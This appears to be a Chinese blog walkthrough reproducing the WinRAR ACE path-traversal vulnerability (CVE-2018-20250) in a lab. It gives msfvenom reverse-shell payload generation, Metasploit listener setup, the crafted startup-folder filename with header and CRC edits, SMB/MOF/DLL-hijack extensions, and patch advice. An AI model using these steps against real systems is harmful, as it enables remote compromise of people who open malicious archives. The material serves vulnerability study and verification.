winrar远程代码执行漏洞复现(cve-2018-20250)

冷不防 2021-07-28 23:30 583阅读 0赞

# 使用metasploit验证漏洞 #

1.漏洞影响

WinRAR < 5.70 Beta 1

Bandizip< = 6.2.0.0

好压(2345压缩) < = 5.9.8.10907

360压缩< = 4.0.0.1170

2.环境搭建

攻击机:kali-2019                       ip:192.168.0.171

靶机:windows 7 +winrar5.5                        ip:192.168.0.169

3.漏洞复现

(1)下载WinRAR漏洞exp:[https://github.com/WyAtu/CVE-2018-20250][https_github.com_WyAtu_CVE-2018-20250]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70][]

(2)利用msfvenom生成恶意文件

msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.0.171 lport=1234 -f exe >./test.exe

![20190320111108290.png][]

(3)编辑winrar漏洞exp文件

vi exp.py

按i进行编辑

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 1][]

修改python3的运行命令

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 2][]

修改完后按esc退出编辑,然后按:,输入wq保存

(4)运行winrar漏洞exp

python3 exp.py

![20190320112037981.png][]

(5)把恶意winrar文件传到靶机

为了方便,利用python开启临时server

python -m SimpleHTTPServer 999

![20190320112355107.png][]

利用靶机浏览器访问,并下载test.rar

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 3][]

(6)kali启动msf，设置监听

msfconsole

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 4][]

使用监听模块，并设置参数

use exploit/multi/handler

set payload windows/meterpreter/reverse\_tcp

set lhost 192.168.0.171

set lport 1234

![20190320114017691.png][]

show options查看是否有遗漏

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 5][]

运行,exploit

![20190320114138164.png][]

(7)靶机解压恶意winrar文件

![20190320114255605.png][]

解压后会在自启动目录生成一个恶意文件hi.exe

目录为:C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\(administrator改为你当前用户名)

![20190320114509852.png][]

当电脑重启后就会自动运行该文件(这里为了方便就直接双击了),查看进程hi.exe已经运行

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 6][]

(8)返回kali,已经建立会话sessions

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 7][]

4.漏洞修复

更新winrar到最新版本

使用其它的解压软件，如7z

===========================================================

# 手工验证漏洞 #

Check Point的网络安全研究人员发现一个潜伏19年的漏洞——WinRAR代码执行漏洞。受影响的版本不止Winrar5.7版本之前，Bandzip、2345压缩、好压、totalcmd等软件也受影响，受害者使用受影响的压缩软件解压构造的恶意文件时便会触发漏洞。

## 受影响的版本 ##

影响版本：

*  WinRAR < 5.70 Beta 1
 *  Bandizip < = 6.2.0.0
 *  好压(2345压缩) < = 5.9.8.10907
 *  360压缩 < = 4.0.0.1170

腾讯研究员利用玄武实验室自研的“阿图因”系统，对已收录的全网 PC 软件进行了扫描，统计了 unacev2.dll 的使用情况，其版本分布情况如下图所示：

![format_png][]

通过“阿图因”系统，腾讯研究员对使用了该共享库的软件进行反向溯源，目前扫描到了受影响的有 24 款国外软件，15 款国产软件。

多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件，以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中，作为解压模块使用。（使用unacev2.dll动态共享库的解压、文件管理类工具软件）

## 漏洞细节 ##

漏洞主要是由Winrar用来解压ACE压缩包采用的动态链接库unacev2.dll这个dll引起的。unacev2.dll中处理filename时只校验了CRC，可以通过更改压缩包的CRC校验码来修改解压时候的filename来触发这个Path Traversal漏洞。但是Winrar本身检测了filename，有一些限制并且普通用户解压RAR文件时候不能将恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的`C:\Users\Administrator\Downloads`目录下时，通过构造

C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

经过Winrar的CleanPath函数处理会变成

C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

其中`C:`会被转换成当前路径，如果用Winrar打开那么当前路径就是`C:\Program Files\WinRAR`，要是在文件夹中右键解压到xxx\\那么当前路径就是压缩包所在的路径。

当用户在文件夹中直接右键解压到xx,那么恶意的payload解压地址就会变成

C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

就是当前用户的启动项。这样一个利用完成了从一个Path Traversal到任意命令执行的过程。

## 漏洞复现 ##

### 环境 ###

*  win7 x64
 *  winace v2.69
 *  winrar 5.6.1 x64
 *  010Editor

### 复现 ###

**0x01 新建文件`b404.txt`：**

![format_png 1][]

**0x02 使用winace进行压缩,将`b404.txt`压缩为`b404.ace`：**

**![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]**

**0x03 下载https://github.com/droe/acefile 中的ace脚本读取文件头信息：**

python acefile.py --headers b404.ace

![format_png 2][]

**0x04 更改`b404.ace`的解压缩路径**

**![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1][]**

第一处为0x590F(hdrcrc),第二处为0x003A(hdrsize)，第三处为0x001B(filename的长度），以及最后一处为filename。

![format_png 3][]

![format_png 4][]

*  0x3A的十进制是58
 *  0x1B的十进制是27

修改文件名为`C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt`,文件名长度为69,即十六进制`0x0045`。在之前的`0x001B`上修改为`0x0045`:

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2][]

**0x05 修改hdr\_size**

因文件的绝对路径更改(即文件名变化),hdr\_size发生变化，为100,十六进制为`64h`：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3][]

原hdr\_size为`0x003A`，因文件的绝对路径更改(即文件名变化)，就更改hdrsize的长度`0x003A`为`0x0064`:

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4][]

**0x06 修改CRC**

现在直接运行acefile脚本检测修改后的ace文件，报错：

![format_png 5][]

参考文章使用的是脚本报错中断时进行下断点，找出正确的CRC值。我直接使用https://github.com/WyAtu/CVE-2018-20250 中的acefile脚本进行正确的hdr\_crc值查找，并更改：

![format_png 6][]

更改成功之后，使用https://github.com/droe/acefile 中的acefile就可以检验成功：

![format_png 7][]

然后使用WinRAR解压：

![format_png 8][]

解压出来的路径是`C:\Users\b404\Desktop\b404\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`,根本不符合`C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`的目标地址，也就是目录穿越失败。即构造的文件名`C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt`需要修改

**0x07 重新构造文件名**

重新构造文件名为`C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt`，将其写入到`b404.ace`中。

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5][]

![format_png 9][]

使用[ace脚本][ace]检测ace头信息，得到正确的`hdr_crc`：

![format_png 10][]

此时需要修改的值为：

*  hdr\_size：0x006F(即6Fh，十进制为111)
 *  filename\_size：0x0050(即50h,十进制为80)
 *  right\_hdr\_crc：0x0EFA

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6][]

在运行中`shell:startup`打开自启动目录`C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`，没有`b404.txt`：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 7][]

解压到当前文件夹（`解压到b404\`也可以实现目录穿越）：

![format_png 11][]

在`C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`目录中就出现`b404.txt`：

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 8][]

成功目录穿越。

## 扩展 ##

若将`b404.txt`换成`victim.exe`，里面添加一些具有迷惑性的文档，ace扩展名更改为rar(WinRAR是通过文件的内容而不是扩展来检测格式的),一旦解压该程序，那就可以做很多事了。

研究人员还发现一个SMB攻击向量，可以连接到任意的IP地址，并在SMB服务器的任意路径创建文件和文件夹。比如：

C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext => \\10.10.10.10\smb_folder_name\some_folder\some_file.ext

在拥有system权限下可以放入 `c:/windows/system32/wbem/mof/nullevt.mof`，直接获取目标主机的权限。

可以投放恶意dll文件进行dll劫持获取到目标主机的权限,或者覆盖用户主机上的文件等方式获取目标主机的权限

## 修补 ##

1.  升级到最新版本。比如WinRAR升级到5.70 Beta 1(http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe)
2.  删除UNACEV2.dll文件

[https_github.com_WyAtu_CVE-2018-20250]: https://github.com/WyAtu/CVE-2018-20250
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70]: /images/20210728/faf0b63d23014e648699b804b4ff2431.png
[20190320111108290.png]: /images/20210728/73456569b1fa425b91beeb08c65f3600.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 1]: /images/20210728/f0509a72dd4246068372005aaa204387.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 2]: /images/20210728/2ec6fb038988453891003f740b4c6451.png
[20190320112037981.png]: /images/20210728/39627a3b424f461594f1b7593fdfca86.png
[20190320112355107.png]: /images/20210728/0b30c23bee994e94b76ee8d7b172eb32.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 3]: /images/20210728/4e52558ac30442f2ae05e14f6f996f91.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 4]: /images/20210728/f075fe7befa6421ebddea7a531a40a9f.png
[20190320114017691.png]: /images/20210728/3c21231e21f0448ca39de60b838df239.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 5]: /images/20210728/3560b5c1f1c748108282572b560cf622.png
[20190320114138164.png]: /images/20210728/496390f43fc348a4810e235cb861a747.png
[20190320114255605.png]: /images/20210728/1cea27b08114477eb4dee4d62f73d7db.png
[20190320114509852.png]: /images/20210728/63758aa75ead41e5979fd6129721012c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 6]: /images/20210728/09b15d9e12ab4e76aa9821f6ed1b53e4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0RhcmtIUQ_size_16_color_FFFFFF_t_70 7]: /images/20210728/06d2a497ffdf415dad0bfb8270061116.png
[format_png]: /images/20210728/3653504faaad46d5a847fd6607cb5676.png
[format_png 1]: /images/20210728/87484b75e8244d24a76712b78bd5fa6e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70]: /images/20210728/f398b9abee16460fa69e74f4e3422dfe.png
[format_png 2]: /images/20210728/2b9c3a3e600a4e2aac781a209a4cf143.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 1]: /images/20210728/c2fb9e7007af477ebf3cb1c737e82be4.png
[format_png 3]: /images/20210728/18deb769a0504ad09d90651f1e90635b.png
[format_png 4]: /images/20210728/b06eb155e25e4d1389b16b96968c28d8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 2]: /images/20210728/7fa23458bf8d44c5a3e23b94733e4afe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 3]: /images/20210728/87c7b3eb84db4b8599689b65f034eeee.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 4]: /images/20210728/2740b489369945da80629751b1f9f068.png
[format_png 5]: /images/20210728/7b6f160724bc4f71806094d20ee86cc5.png
[format_png 6]: /images/20210728/739822e2341d448d90d254b730373fe1.png
[format_png 7]: /images/20210728/690f23f79ac84068ba074bc7d6fcae2c.png
[format_png 8]: /images/20210728/9476f9a07dbd452a89ceeaa831eb3c1b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 5]: /images/20210728/5ad6db9b296346e890cfc3505227fdbf.png
[format_png 9]: /images/20210728/76bd2095d377415d96157e0bcc7b59df.png
[ace]: https://raw.githubusercontent.com/WyAtu/CVE-2018-20250/master/acefile.py
[format_png 10]: /images/20210728/c0be32a2277448d5b8dff2a3dfd80192.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 6]: /images/20210728/95a93cf4741d41479fe7dbd2ea0d0df8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 7]: /images/20210728/39c7a830d2c644eaaa5a93a2c8459559.png
[format_png 11]: /images/20210728/fb3ea5893a5048f7b45322cb1f2a8035.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70 8]: /images/20210728/de521faf03e24e97829bfa89c1be2611.png